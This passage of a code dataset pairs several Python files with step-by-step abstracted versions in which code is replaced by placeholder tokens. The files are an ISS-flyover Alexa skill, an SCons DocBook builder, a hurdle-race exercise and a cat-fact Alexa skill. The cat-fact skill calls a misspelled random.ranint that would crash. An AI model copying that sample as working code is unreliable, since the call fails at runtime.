try:\n city = location.address.split(',')[0]\n state = location.address.split(',')[2]\n country = location.address.split(',')[-1]\n location_name = ', '.join([city, state, country])\n except IndexError:\n location_name = location.address.split(',')[-1]\n fly_over = requests.get(\n 'http://api.open-notify.org/iss-pass.json?lat={}&lon={}'.format(\n location.latitude, location.longitude))\n fly_over = fly_over.json()\n if fly_over['message'] == 'success':\n rise = fly_over['response'][0]\n answer = time.strftime('%A, %B %d, %Y at %I:%M %p GMT', time.\n localtime(rise.get('risetime')))\n a = rise.get('risetime')\n b = time.time()\n c = a - b\n hours = c // 3600 % 24\n minutes = c // 60 % 60\n minutes = int(minutes)\n hours = int(hours)\n if minutes == 1:\n minorminutes = 'minute'\n else:\n minorminutes = 'minutes'\n if hours == 1:\n hour_or_hours = 'hour'\n else:\n hour_or_hours = 'hours'\n if hours == 0:\n time_til_rise = '{} {}'.format(minutes, minorminutes)\n else:\n time_til_rise = '{} {} and {} {}'.format(hours, hour_or_hours,\n minutes, minorminutes)\n else:\n answer = 'failure'\n return statement('the next flyover for {} will begin in {} on {}'.\n format(location_name, time_til_rise, answer))\n\n\[email protected]('WhereISS')\ndef share_location():\n (iss_location, latitude, longitude, distance_miles, ordinal, name,\n admin1, country_name) = where_is_the_iss_now()\n latitude, longitude, distance_miles = float(latitude), float(longitude\n ), float(distance_miles)\n return statement(iss_location).standard_card(title=\n 'Location of the International Space Station', text=\n \"\"\"Latitude {} and Longitude {},\n {} miles {} of {}, {} in {}\"\"\".\n format(round(latitude, 2), round(longitude, 2), round(\n distance_miles, 0), ordinal, name, admin1, country_name))\n\n\[email protected]('AMAZON.FallbackIntent')\ndef fallback():\n to_continue = render_template('to_continue')\n return question('Sorry, I am not sure what you asked me...{}'.format(\n to_continue))\n\n\n<function token>\n\n\[email protected]('AMAZON.HelpIntent')\ndef help_me():\n help_me_text = render_template('help')\n return question(help_me_text)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<docstring token>\n<assignment token>\n\n\ndef find_ordinals(city, iss):\n \"\"\" \n Take tuple coordinates (lat, lon) for City and ISS and\n find the cardinal direction of NE, SE, SW, NW\n \"\"\"\n if iss[0] - city[0] > 0:\n a = 'North'\n else:\n a = 'South'\n if iss[1] - city[1] > 0:\n b = 'East'\n else:\n b = 'West'\n return ''.join([a, b])\n\n\n<function token>\n\n\[email protected]('/')\ndef homepage():\n return ''\n\n\n<function token>\n<function token>\n\n\[email protected]('WhereISS')\ndef share_location():\n (iss_location, latitude, longitude, distance_miles, ordinal, name,\n admin1, country_name) = where_is_the_iss_now()\n latitude, longitude, distance_miles = float(latitude), float(longitude\n ), float(distance_miles)\n return statement(iss_location).standard_card(title=\n 'Location of the International Space Station', text=\n \"\"\"Latitude {} and Longitude {},\n {} miles {} of {}, {} in {}\"\"\".\n format(round(latitude, 2), round(longitude, 2), round(\n distance_miles, 0), ordinal, name, admin1, country_name))\n\n\[email protected]('AMAZON.FallbackIntent')\ndef fallback():\n to_continue = render_template('to_continue')\n return question('Sorry, I am not sure what you asked me...{}'.format(\n to_continue))\n\n\n<function token>\n\n\[email protected]('AMAZON.HelpIntent')\ndef help_me():\n help_me_text = render_template('help')\n return question(help_me_text)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<docstring token>\n<assignment token>\n\n\ndef find_ordinals(city, iss):\n \"\"\" \n Take tuple coordinates (lat, lon) for City and ISS and\n find the cardinal direction of NE, SE, SW, NW\n \"\"\"\n if iss[0] - city[0] > 0:\n a = 'North'\n else:\n a = 'South'\n if iss[1] - city[1] > 0:\n b = 'East'\n else:\n b = 'West'\n return ''.join([a, b])\n\n\n<function token>\n\n\[email protected]('/')\ndef homepage():\n return ''\n\n\n<function token>\n<function token>\n<function token>\n\n\[email protected]('AMAZON.FallbackIntent')\ndef fallback():\n to_continue = render_template('to_continue')\n return question('Sorry, I am not sure what you asked me...{}'.format(\n to_continue))\n\n\n<function token>\n\n\[email protected]('AMAZON.HelpIntent')\ndef help_me():\n help_me_text = render_template('help')\n return question(help_me_text)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<docstring token>\n<assignment token>\n\n\ndef find_ordinals(city, iss):\n \"\"\" \n Take tuple coordinates (lat, lon) for City and ISS and\n find the cardinal direction of NE, SE, SW, NW\n \"\"\"\n if iss[0] - city[0] > 0:\n a = 'North'\n else:\n a = 'South'\n if iss[1] - city[1] > 0:\n b = 'East'\n else:\n b = 'West'\n return ''.join([a, b])\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\[email protected]('AMAZON.FallbackIntent')\ndef fallback():\n to_continue = render_template('to_continue')\n return question('Sorry, I am not sure what you asked me...{}'.format(\n to_continue))\n\n\n<function token>\n\n\[email protected]('AMAZON.HelpIntent')\ndef help_me():\n help_me_text = render_template('help')\n return question(help_me_text)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<docstring token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\[email protected]('AMAZON.FallbackIntent')\ndef fallback():\n to_continue = render_template('to_continue')\n return question('Sorry, I am not sure what you asked me...{}'.format(\n to_continue))\n\n\n<function token>\n\n\[email protected]('AMAZON.HelpIntent')\ndef help_me():\n help_me_text = render_template('help')\n return question(help_me_text)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<docstring token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\[email protected]('AMAZON.FallbackIntent')\ndef fallback():\n to_continue = render_template('to_continue')\n return question('Sorry, I am not sure what you asked me...{}'.format(\n to_continue))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<docstring token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]
false
427
cae49da8dd436fc51b472c4a88703d8bc6c79bda
import SCons.Util import xml.dom.minidom, re, os.path ################################################################################ # DocBook pseudobuilder # TODO: Only generate the output formats that are known ################################################################################ def generate(env) : def remove_doctype(target, source, env) : f = open(str(target[0])) output = [] for line in f.readlines() : output.append(re.sub("^<!DOCTYPE .*", "", line)) f.close() f = open(str(target[0]), 'wb') for line in output : f.write(line) f.close() def buildDocBook(env, source) : db_env = env.Clone() db_env["XMLCATALOGS"] = [db_env["DOCBOOK_XML"]] # PDF generation fo = db_env.XSLT(os.path.splitext(source)[0] + ".fo", source, XSLTSTYLESHEET = db_env["DOCBOOK_XSL_FO"]) pdf = db_env.FO(fo) # HTML generation db_env.XSLT(os.path.splitext(source)[0] + ".html", source, XSLTSTYLESHEET = db_env["DOCBOOK_XSL_HTML"]) # WordPress generation wp_params = [("wordpress.dir", env.get("DOCBOOK_WP_DIR", "../../wordpress"))] wp_pdf_url = env.get("DOCBOOK_WP_PDF_URL", pdf[0].name) if len(wp_pdf_url) > 0 : wp_params.append(("pdf.url", wp_pdf_url)) wp_params.append(("pdf.icon", env.get("DOCBOOK_WP_PDF_ICON", "/icons/pdf.png"))) wp = db_env.XSLT(os.path.splitext(source)[0] + ".wp.php", source, XSLTSTYLESHEET = db_env["DOCBOOK_XSL_WP"], XSLTPARAMS = wp_params + env.get("XSLTPARAMS", [])) db_env.AddPostAction(wp, SCons.Action.Action(remove_doctype, cmdstr = "$FIXCOMSTR")) env.AddMethod(buildDocBook, "DocBook") def exists(env) : return True
[ "import SCons.Util\nimport xml.dom.minidom, re, os.path\n\n################################################################################\n# DocBook pseudobuilder\n# TODO: Only generate the output formats that are known\n################################################################################\n\ndef generate(env) :\n def remove_doctype(target, source, env) :\n f = open(str(target[0]))\n output = []\n for line in f.readlines() :\n output.append(re.sub(\"^<!DOCTYPE .*\", \"\", line))\n f.close()\n f = open(str(target[0]), 'wb')\n for line in output :\n f.write(line)\n f.close()\n\n def buildDocBook(env, source) :\n db_env = env.Clone()\n db_env[\"XMLCATALOGS\"] = [db_env[\"DOCBOOK_XML\"]]\n\n # PDF generation\n fo = db_env.XSLT(os.path.splitext(source)[0] + \".fo\", source, \n XSLTSTYLESHEET = db_env[\"DOCBOOK_XSL_FO\"])\n pdf = db_env.FO(fo)\n\n # HTML generation\n db_env.XSLT(os.path.splitext(source)[0] + \".html\", source, \n XSLTSTYLESHEET = db_env[\"DOCBOOK_XSL_HTML\"])\n\n # WordPress generation\n wp_params = [(\"wordpress.dir\", env.get(\"DOCBOOK_WP_DIR\", \"../../wordpress\"))]\n wp_pdf_url = env.get(\"DOCBOOK_WP_PDF_URL\", pdf[0].name)\n if len(wp_pdf_url) > 0 :\n wp_params.append((\"pdf.url\", wp_pdf_url))\n wp_params.append((\"pdf.icon\", env.get(\"DOCBOOK_WP_PDF_ICON\", \"/icons/pdf.png\")))\n wp = db_env.XSLT(os.path.splitext(source)[0] + \".wp.php\", source, \n XSLTSTYLESHEET = db_env[\"DOCBOOK_XSL_WP\"],\n XSLTPARAMS = wp_params + env.get(\"XSLTPARAMS\", []))\n db_env.AddPostAction(wp, SCons.Action.Action(remove_doctype, cmdstr = \"$FIXCOMSTR\"))\n\n env.AddMethod(buildDocBook, \"DocBook\")\n \ndef exists(env) :\n return True\n", "import SCons.Util\nimport xml.dom.minidom, re, os.path\n\n\ndef generate(env):\n\n def remove_doctype(target, source, env):\n f = open(str(target[0]))\n output = []\n for line in f.readlines():\n output.append(re.sub('^<!DOCTYPE .*', '', line))\n f.close()\n f = open(str(target[0]), 'wb')\n for line in output:\n f.write(line)\n f.close()\n\n def buildDocBook(env, source):\n db_env = env.Clone()\n db_env['XMLCATALOGS'] = [db_env['DOCBOOK_XML']]\n fo = db_env.XSLT(os.path.splitext(source)[0] + '.fo', source,\n XSLTSTYLESHEET=db_env['DOCBOOK_XSL_FO'])\n pdf = db_env.FO(fo)\n db_env.XSLT(os.path.splitext(source)[0] + '.html', source,\n XSLTSTYLESHEET=db_env['DOCBOOK_XSL_HTML'])\n wp_params = [('wordpress.dir', env.get('DOCBOOK_WP_DIR',\n '../../wordpress'))]\n wp_pdf_url = env.get('DOCBOOK_WP_PDF_URL', pdf[0].name)\n if len(wp_pdf_url) > 0:\n wp_params.append(('pdf.url', wp_pdf_url))\n wp_params.append(('pdf.icon', env.get('DOCBOOK_WP_PDF_ICON',\n '/icons/pdf.png')))\n wp = db_env.XSLT(os.path.splitext(source)[0] + '.wp.php', source,\n XSLTSTYLESHEET=db_env['DOCBOOK_XSL_WP'], XSLTPARAMS=wp_params +\n env.get('XSLTPARAMS', []))\n db_env.AddPostAction(wp, SCons.Action.Action(remove_doctype, cmdstr\n ='$FIXCOMSTR'))\n env.AddMethod(buildDocBook, 'DocBook')\n\n\ndef exists(env):\n return True\n", "<import token>\n\n\ndef generate(env):\n\n def remove_doctype(target, source, env):\n f = open(str(target[0]))\n output = []\n for line in f.readlines():\n output.append(re.sub('^<!DOCTYPE .*', '', line))\n f.close()\n f = open(str(target[0]), 'wb')\n for line in output:\n f.write(line)\n f.close()\n\n def buildDocBook(env, source):\n db_env = env.Clone()\n db_env['XMLCATALOGS'] = [db_env['DOCBOOK_XML']]\n fo = db_env.XSLT(os.path.splitext(source)[0] + '.fo', source,\n XSLTSTYLESHEET=db_env['DOCBOOK_XSL_FO'])\n pdf = db_env.FO(fo)\n db_env.XSLT(os.path.splitext(source)[0] + '.html', source,\n XSLTSTYLESHEET=db_env['DOCBOOK_XSL_HTML'])\n wp_params = [('wordpress.dir', env.get('DOCBOOK_WP_DIR',\n '../../wordpress'))]\n wp_pdf_url = env.get('DOCBOOK_WP_PDF_URL', pdf[0].name)\n if len(wp_pdf_url) > 0:\n wp_params.append(('pdf.url', wp_pdf_url))\n wp_params.append(('pdf.icon', env.get('DOCBOOK_WP_PDF_ICON',\n '/icons/pdf.png')))\n wp = db_env.XSLT(os.path.splitext(source)[0] + '.wp.php', source,\n XSLTSTYLESHEET=db_env['DOCBOOK_XSL_WP'], XSLTPARAMS=wp_params +\n env.get('XSLTPARAMS', []))\n db_env.AddPostAction(wp, SCons.Action.Action(remove_doctype, cmdstr\n ='$FIXCOMSTR'))\n env.AddMethod(buildDocBook, 'DocBook')\n\n\ndef exists(env):\n return True\n", "<import token>\n\n\ndef generate(env):\n\n def remove_doctype(target, source, env):\n f = open(str(target[0]))\n output = []\n for line in f.readlines():\n output.append(re.sub('^<!DOCTYPE .*', '', line))\n f.close()\n f = open(str(target[0]), 'wb')\n for line in output:\n f.write(line)\n f.close()\n\n def buildDocBook(env, source):\n db_env = env.Clone()\n db_env['XMLCATALOGS'] = [db_env['DOCBOOK_XML']]\n fo = db_env.XSLT(os.path.splitext(source)[0] + '.fo', source,\n XSLTSTYLESHEET=db_env['DOCBOOK_XSL_FO'])\n pdf = db_env.FO(fo)\n db_env.XSLT(os.path.splitext(source)[0] + '.html', source,\n XSLTSTYLESHEET=db_env['DOCBOOK_XSL_HTML'])\n wp_params = [('wordpress.dir', env.get('DOCBOOK_WP_DIR',\n '../../wordpress'))]\n wp_pdf_url = env.get('DOCBOOK_WP_PDF_URL', pdf[0].name)\n if len(wp_pdf_url) > 0:\n wp_params.append(('pdf.url', wp_pdf_url))\n wp_params.append(('pdf.icon', env.get('DOCBOOK_WP_PDF_ICON',\n '/icons/pdf.png')))\n wp = db_env.XSLT(os.path.splitext(source)[0] + '.wp.php', source,\n XSLTSTYLESHEET=db_env['DOCBOOK_XSL_WP'], XSLTPARAMS=wp_params +\n env.get('XSLTPARAMS', []))\n db_env.AddPostAction(wp, SCons.Action.Action(remove_doctype, cmdstr\n ='$FIXCOMSTR'))\n env.AddMethod(buildDocBook, 'DocBook')\n\n\n<function token>\n", "<import token>\n<function token>\n<function token>\n" ]
false
428
c139cbc3e693d75ad196e10257ff3028aa835709
# Complete the hurdleRace function below. def hurdleRace(k, height): if k < max(height): return max(height) - k return 0 print(hurdleRace(2, [2,5,4,5,2]))
[ "# Complete the hurdleRace function below.\ndef hurdleRace(k, height):\n if k < max(height):\n return max(height) - k\n return 0\n\nprint(hurdleRace(2, [2,5,4,5,2]))\n", "def hurdleRace(k, height):\n if k < max(height):\n return max(height) - k\n return 0\n\n\nprint(hurdleRace(2, [2, 5, 4, 5, 2]))\n", "def hurdleRace(k, height):\n if k < max(height):\n return max(height) - k\n return 0\n\n\n<code token>\n", "<function token>\n<code token>\n" ]
false
429
77971b088a7e076e3bf6d7aa320981a50e7756ce
from flask import Flask from flask_ask import Ask, statement, question, session # import json, requests import random app = Flask(__name__) ask = Ask(app, "/") def get_cat_fact(): myFacts = [ "Cats should not be fed tuna exclusively, as it lacks taurine, an essential nutrient required for good feline health. Make sure you have the proper Pet supplies to keep your cat happy and healthy.", "The strongest climber among the big cats, a leopard can carry prey twice its weight up a tree.", "A cat’s hearing is better than a dog’s. A cat can hear high-frequency sounds up to two octaves higher than a human.", "Tylenol and chocolate are both poisionous to cats.", "Cats have 30 teeth (12 incisors, 10 premolars, 4 canines, and 4 molars), while dogs have 42. Kittens have baby teeth, which are replaced by permanent teeth around the age of 7 months.", "It has been scientifically proven that owning cats is good for our health and can decrease the occurrence of high blood pressure and other illnesses.", "A cat can’t climb head first down a tree because every claw on a cat’s paw points the same way. To get down from a tree, a cat must back down.", "Cats are subject to gum disease and to dental caries. They should have their teeth cleaned by the vet or the cat dentist once a year.", "A domestic cat can run at speeds of 30 mph.", "Cat families usually play best in even numbers. Cats and kittens should be aquired in pairs whenever possible.", "A cat’s back is extremely flexible because it has up to 53 loosely fitting vertebrae. Humans only have 34.", "The claws on the cat’s back paws aren’t as sharp as the claws on the front paws because the claws in the back don’t retract and, consequently, become worn.", "Cat paws act as tempetature regulators, shock absorbers, hunting and grooming tools, sensors, and more", "Cats see six times better in the dark and at night than humans.", "The cat's tail is used to maintain balance.", "Cats have 300 million neurons; dogs have about 160 million", "Both humans and cats have identical regions in the brain responsible for emotion.", "The lightest cat on record is a blue point Himalayan called Tinker Toy, who weighed 1 pound, 6 ounces (616 g). Tinker Toy was 2.75 inches (7 cm) tall and 7.5 inches (19 cm) long.", "An adult lion's roar can be heard up to five miles (eight kilometers) away.", "You check your cats pulse on the inside of the back thigh, where the leg joins to the body. Normal for cats: 110-170 beats per minute.", "The largest cat breed is the Ragdoll. Male Ragdolls weigh between 12 and 20 lbs (5.4-9.0 k). Females weigh between 10 and 15 lbs (4.5-6.8 k).", "A cat's normal temperature varies around 101 degrees Fahrenheit.", "Unlike other cats, lions have a tuft of hair at the end of their tails.", "Cats don’t have sweat glands over their bodies like humans do. Instead, they sweat only through their paws.", "The average cat food meal is the equivalent to about five mice.", "The first official cat show in the UK was organised at Crystal Palace in 1871.", "In just seven years, a single pair of cats and their offspring could produce a staggering total of 420,000 kittens." ] fact = myFacts[random.ranint(0,len(myFacts)-1)] return fact @ask.launch def start_skill(): welcome_message = 'Hello there, would you like to hear a cat fact?' return question(welcome_message) @ask.intent("YesIntent") def share_headlines(): fact = get_cat_fact() cat_fact = 'Did you know, ' + fact return statement(cat_fact) @ask.intent("NoIntent") def no_intent(): bye_text = 'Ok! Have a wonderful day!' return statement(bye_text) if __name__ == '__main__': app.run(debug=True)
[ "from flask import Flask\nfrom flask_ask import Ask, statement, question, session\n# import json, requests\nimport random\n\n\napp = Flask(__name__)\nask = Ask(app, \"/\")\n\ndef get_cat_fact():\n myFacts = [\n \"Cats should not be fed tuna exclusively, as it lacks taurine, an essential nutrient required for good feline health. Make sure you have the proper Pet supplies to keep your cat happy and healthy.\",\n \"The strongest climber among the big cats, a leopard can carry prey twice its weight up a tree.\",\n \"A cat’s hearing is better than a dog’s. A cat can hear high-frequency sounds up to two octaves higher than a human.\",\n \"Tylenol and chocolate are both poisionous to cats.\",\n \"Cats have 30 teeth (12 incisors, 10 premolars, 4 canines, and 4 molars), while dogs have 42. Kittens have baby teeth, which are replaced by permanent teeth around the age of 7 months.\",\n \"It has been scientifically proven that owning cats is good for our health and can decrease the occurrence of high blood pressure and other illnesses.\",\n \"A cat can’t climb head first down a tree because every claw on a cat’s paw points the same way. To get down from a tree, a cat must back down.\",\n \"Cats are subject to gum disease and to dental caries. They should have their teeth cleaned by the vet or the cat dentist once a year.\",\n \"A domestic cat can run at speeds of 30 mph.\",\n \"Cat families usually play best in even numbers. Cats and kittens should be aquired in pairs whenever possible.\",\n \"A cat’s back is extremely flexible because it has up to 53 loosely fitting vertebrae. Humans only have 34.\",\n \"The claws on the cat’s back paws aren’t as sharp as the claws on the front paws because the claws in the back don’t retract and, consequently, become worn.\",\n \"Cat paws act as tempetature regulators, shock absorbers, hunting and grooming tools, sensors, and more\",\n \"Cats see six times better in the dark and at night than humans.\",\n \"The cat's tail is used to maintain balance.\",\n \"Cats have 300 million neurons; dogs have about 160 million\",\n \"Both humans and cats have identical regions in the brain responsible for emotion.\",\n \"The lightest cat on record is a blue point Himalayan called Tinker Toy, who weighed 1 pound, 6 ounces (616 g). Tinker Toy was 2.75 inches (7 cm) tall and 7.5 inches (19 cm) long.\",\n \"An adult lion's roar can be heard up to five miles (eight kilometers) away.\",\n \"You check your cats pulse on the inside of the back thigh, where the leg joins to the body. Normal for cats: 110-170 beats per minute.\",\n \"The largest cat breed is the Ragdoll. Male Ragdolls weigh between 12 and 20 lbs (5.4-9.0 k). Females weigh between 10 and 15 lbs (4.5-6.8 k).\",\n \"A cat's normal temperature varies around 101 degrees Fahrenheit.\",\n \"Unlike other cats, lions have a tuft of hair at the end of their tails.\",\n \"Cats don’t have sweat glands over their bodies like humans do. Instead, they sweat only through their paws.\",\n \"The average cat food meal is the equivalent to about five mice.\",\n \"The first official cat show in the UK was organised at Crystal Palace in 1871.\",\n \"In just seven years, a single pair of cats and their offspring could produce a staggering total of 420,000 kittens.\"\n ]\n fact = myFacts[random.ranint(0,len(myFacts)-1)]\n return fact\n\n\[email protected]\ndef start_skill():\n welcome_message = 'Hello there, would you like to hear a cat fact?'\n return question(welcome_message)\n\[email protected](\"YesIntent\")\ndef share_headlines():\n fact = get_cat_fact()\n cat_fact = 'Did you know, ' + fact\n return statement(cat_fact)\n\[email protected](\"NoIntent\")\ndef no_intent():\n bye_text = 'Ok! Have a wonderful day!'\n return statement(bye_text)\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "from flask import Flask\nfrom flask_ask import Ask, statement, question, session\nimport random\napp = Flask(__name__)\nask = Ask(app, '/')\n\n\ndef get_cat_fact():\n myFacts = [\n 'Cats should not be fed tuna exclusively, as it lacks taurine, an essential nutrient required for good feline health. Make sure you have the proper Pet supplies to keep your cat happy and healthy.'\n ,\n 'The strongest climber among the big cats, a leopard can carry prey twice its weight up a tree.'\n ,\n 'A cat’s hearing is better than a dog’s. A cat can hear high-frequency sounds up to two octaves higher than a human.'\n , 'Tylenol and chocolate are both poisionous to cats.',\n 'Cats have 30 teeth (12 incisors, 10 premolars, 4 canines, and 4 molars), while dogs have 42. Kittens have baby teeth, which are replaced by permanent teeth around the age of 7 months.'\n ,\n 'It has been scientifically proven that owning cats is good for our health and can decrease the occurrence of high blood pressure and other illnesses.'\n ,\n 'A cat can’t climb head first down a tree because every claw on a cat’s paw points the same way. To get down from a tree, a cat must back down.'\n ,\n 'Cats are subject to gum disease and to dental caries. They should have their teeth cleaned by the vet or the cat dentist once a year.'\n , 'A domestic cat can run at speeds of 30 mph.',\n 'Cat families usually play best in even numbers. Cats and kittens should be aquired in pairs whenever possible.'\n ,\n 'A cat’s back is extremely flexible because it has up to 53 loosely fitting vertebrae. Humans only have 34.'\n ,\n 'The claws on the cat’s back paws aren’t as sharp as the claws on the front paws because the claws in the back don’t retract and, consequently, become worn.'\n ,\n 'Cat paws act as tempetature regulators, shock absorbers, hunting and grooming tools, sensors, and more'\n , 'Cats see six times better in the dark and at night than humans.',\n \"The cat's tail is used to maintain balance.\",\n 'Cats have 300 million neurons; dogs have about 160 million',\n 'Both humans and cats have identical regions in the brain responsible for emotion.'\n ,\n 'The lightest cat on record is a blue point Himalayan called Tinker Toy, who weighed 1 pound, 6 ounces (616 g). Tinker Toy was 2.75 inches (7 cm) tall and 7.5 inches (19 cm) long.'\n ,\n \"An adult lion's roar can be heard up to five miles (eight kilometers) away.\"\n ,\n 'You check your cats pulse on the inside of the back thigh, where the leg joins to the body. Normal for cats: 110-170 beats per minute.'\n ,\n 'The largest cat breed is the Ragdoll. Male Ragdolls weigh between 12 and 20 lbs (5.4-9.0 k). Females weigh between 10 and 15 lbs (4.5-6.8 k).'\n ,\n \"A cat's normal temperature varies around 101 degrees Fahrenheit.\",\n 'Unlike other cats, lions have a tuft of hair at the end of their tails.'\n ,\n 'Cats don’t have sweat glands over their bodies like humans do. Instead, they sweat only through their paws.'\n , 'The average cat food meal is the equivalent to about five mice.',\n 'The first official cat show in the UK was organised at Crystal Palace in 1871.'\n ,\n 'In just seven years, a single pair of cats and their offspring could produce a staggering total of 420,000 kittens.'\n ]\n fact = myFacts[random.ranint(0, len(myFacts) - 1)]\n return fact\n\n\[email protected]\ndef start_skill():\n welcome_message = 'Hello there, would you like to hear a cat fact?'\n return question(welcome_message)\n\n\[email protected]('YesIntent')\ndef share_headlines():\n fact = get_cat_fact()\n cat_fact = 'Did you know, ' + fact\n return statement(cat_fact)\n\n\[email protected]('NoIntent')\ndef no_intent():\n bye_text = 'Ok! Have a wonderful day!'\n return statement(bye_text)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "<import token>\napp = Flask(__name__)\nask = Ask(app, '/')\n\n\ndef get_cat_fact():\n myFacts = [\n 'Cats should not be fed tuna exclusively, as it lacks taurine, an essential nutrient required for good feline health. Make sure you have the proper Pet supplies to keep your cat happy and healthy.'\n ,\n 'The strongest climber among the big cats, a leopard can carry prey twice its weight up a tree.'\n ,\n 'A cat’s hearing is better than a dog’s. A cat can hear high-frequency sounds up to two octaves higher than a human.'\n , 'Tylenol and chocolate are both poisionous to cats.',\n 'Cats have 30 teeth (12 incisors, 10 premolars, 4 canines, and 4 molars), while dogs have 42. Kittens have baby teeth, which are replaced by permanent teeth around the age of 7 months.'\n ,\n 'It has been scientifically proven that owning cats is good for our health and can decrease the occurrence of high blood pressure and other illnesses.'\n ,\n 'A cat can’t climb head first down a tree because every claw on a cat’s paw points the same way. To get down from a tree, a cat must back down.'\n ,\n 'Cats are subject to gum disease and to dental caries. They should have their teeth cleaned by the vet or the cat dentist once a year.'\n , 'A domestic cat can run at speeds of 30 mph.',\n 'Cat families usually play best in even numbers. Cats and kittens should be aquired in pairs whenever possible.'\n ,\n 'A cat’s back is extremely flexible because it has up to 53 loosely fitting vertebrae. Humans only have 34.'\n ,\n 'The claws on the cat’s back paws aren’t as sharp as the claws on the front paws because the claws in the back don’t retract and, consequently, become worn.'\n ,\n 'Cat paws act as tempetature regulators, shock absorbers, hunting and grooming tools, sensors, and more'\n , 'Cats see six times better in the dark and at night than humans.',\n \"The cat's tail is used to maintain balance.\",\n 'Cats have 300 million neurons; dogs have about 160 million',\n 'Both humans and cats have identical regions in the brain responsible for emotion.'\n ,\n 'The lightest cat on record is a blue point Himalayan called Tinker Toy, who weighed 1 pound, 6 ounces (616 g). Tinker Toy was 2.75 inches (7 cm) tall and 7.5 inches (19 cm) long.'\n ,\n \"An adult lion's roar can be heard up to five miles (eight kilometers) away.\"\n ,\n 'You check your cats pulse on the inside of the back thigh, where the leg joins to the body. Normal for cats: 110-170 beats per minute.'\n ,\n 'The largest cat breed is the Ragdoll. Male Ragdolls weigh between 12 and 20 lbs (5.4-9.0 k). Females weigh between 10 and 15 lbs (4.5-6.8 k).'\n ,\n \"A cat's normal temperature varies around 101 degrees Fahrenheit.\",\n 'Unlike other cats, lions have a tuft of hair at the end of their tails.'\n ,\n 'Cats don’t have sweat glands over their bodies like humans do. Instead, they sweat only through their paws.'\n , 'The average cat food meal is the equivalent to about five mice.',\n 'The first official cat show in the UK was organised at Crystal Palace in 1871.'\n ,\n 'In just seven years, a single pair of cats and their offspring could produce a staggering total of 420,000 kittens.'\n ]\n fact = myFacts[random.ranint(0, len(myFacts) - 1)]\n return fact\n\n\[email protected]\ndef start_skill():\n welcome_message = 'Hello there, would you like to hear a cat fact?'\n return question(welcome_message)\n\n\[email protected]('YesIntent')\ndef share_headlines():\n fact = get_cat_fact()\n cat_fact = 'Did you know, ' + fact\n return statement(cat_fact)\n\n\[email protected]('NoIntent')\ndef no_intent():\n bye_text = 'Ok! Have a wonderful day!'\n return statement(bye_text)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "<import token>\n<assignment token>\n\n\ndef get_cat_fact():\n myFacts = [\n 'Cats should not be fed tuna exclusively, as it lacks taurine, an essential nutrient required for good feline health. Make sure you have the proper Pet supplies to keep your cat happy and healthy.'\n ,\n 'The strongest climber among the big cats, a leopard can carry prey twice its weight up a tree.'\n ,\n 'A cat’s hearing is better than a dog’s. A cat can hear high-frequency sounds up to two octaves higher than a human.'\n , 'Tylenol and chocolate are both poisionous to cats.',\n 'Cats have 30 teeth (12 incisors, 10 premolars, 4 canines, and 4 molars), while dogs have 42. Kittens have baby teeth, which are replaced by permanent teeth around the age of 7 months.'\n ,\n 'It has been scientifically proven that owning cats is good for our health and can decrease the occurrence of high blood pressure and other illnesses.'\n ,\n 'A cat can’t climb head first down a tree because every claw on a cat’s paw points the same way. To get down from a tree, a cat must back down.'\n ,\n 'Cats are subject to gum disease and to dental caries. They should have their teeth cleaned by the vet or the cat dentist once a year.'\n , 'A domestic cat can run at speeds of 30 mph.',\n 'Cat families usually play best in even numbers. Cats and kittens should be aquired in pairs whenever possible.'\n ,\n 'A cat’s back is extremely flexible because it has up to 53 loosely fitting vertebrae. Humans only have 34.'\n ,\n 'The claws on the cat’s back paws aren’t as sharp as the claws on the front paws because the claws in the back don’t retract and, consequently, become worn.'\n ,\n 'Cat paws act as tempetature regulators, shock absorbers, hunting and grooming tools, sensors, and more'\n , 'Cats see six times better in the dark and at night than humans.',\n \"The cat's tail is used to maintain balance.\",\n 'Cats have 300 million neurons; dogs have about 160 million',\n 'Both humans and cats have identical regions in the brain responsible for emotion.'\n ,\n 'The lightest cat on record is a blue point Himalayan called Tinker Toy, who weighed 1 pound, 6 ounces (616 g). Tinker Toy was 2.75 inches (7 cm) tall and 7.5 inches (19 cm) long.'\n ,\n \"An adult lion's roar can be heard up to five miles (eight kilometers) away.\"\n ,\n 'You check your cats pulse on the inside of the back thigh, where the leg joins to the body. Normal for cats: 110-170 beats per minute.'\n ,\n 'The largest cat breed is the Ragdoll. Male Ragdolls weigh between 12 and 20 lbs (5.4-9.0 k). Females weigh between 10 and 15 lbs (4.5-6.8 k).'\n ,\n \"A cat's normal temperature varies around 101 degrees Fahrenheit.\",\n 'Unlike other cats, lions have a tuft of hair at the end of their tails.'\n ,\n 'Cats don’t have sweat glands over their bodies like humans do. Instead, they sweat only through their paws.'\n , 'The average cat food meal is the equivalent to about five mice.',\n 'The first official cat show in the UK was organised at Crystal Palace in 1871.'\n ,\n 'In just seven years, a single pair of cats and their offspring could produce a staggering total of 420,000 kittens.'\n ]\n fact = myFacts[random.ranint(0, len(myFacts) - 1)]\n return fact\n\n\[email protected]\ndef start_skill():\n welcome_message = 'Hello there, would you like to hear a cat fact?'\n return question(welcome_message)\n\n\[email protected]('YesIntent')\ndef share_headlines():\n fact = get_cat_fact()\n cat_fact = 'Did you know, ' + fact\n return statement(cat_fact)\n\n\[email protected]('NoIntent')\ndef no_intent():\n bye_text = 'Ok! Have a wonderful day!'\n return statement(bye_text)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "<import token>\n<assignment token>\n\n\ndef get_cat_fact():\n myFacts = [\n 'Cats 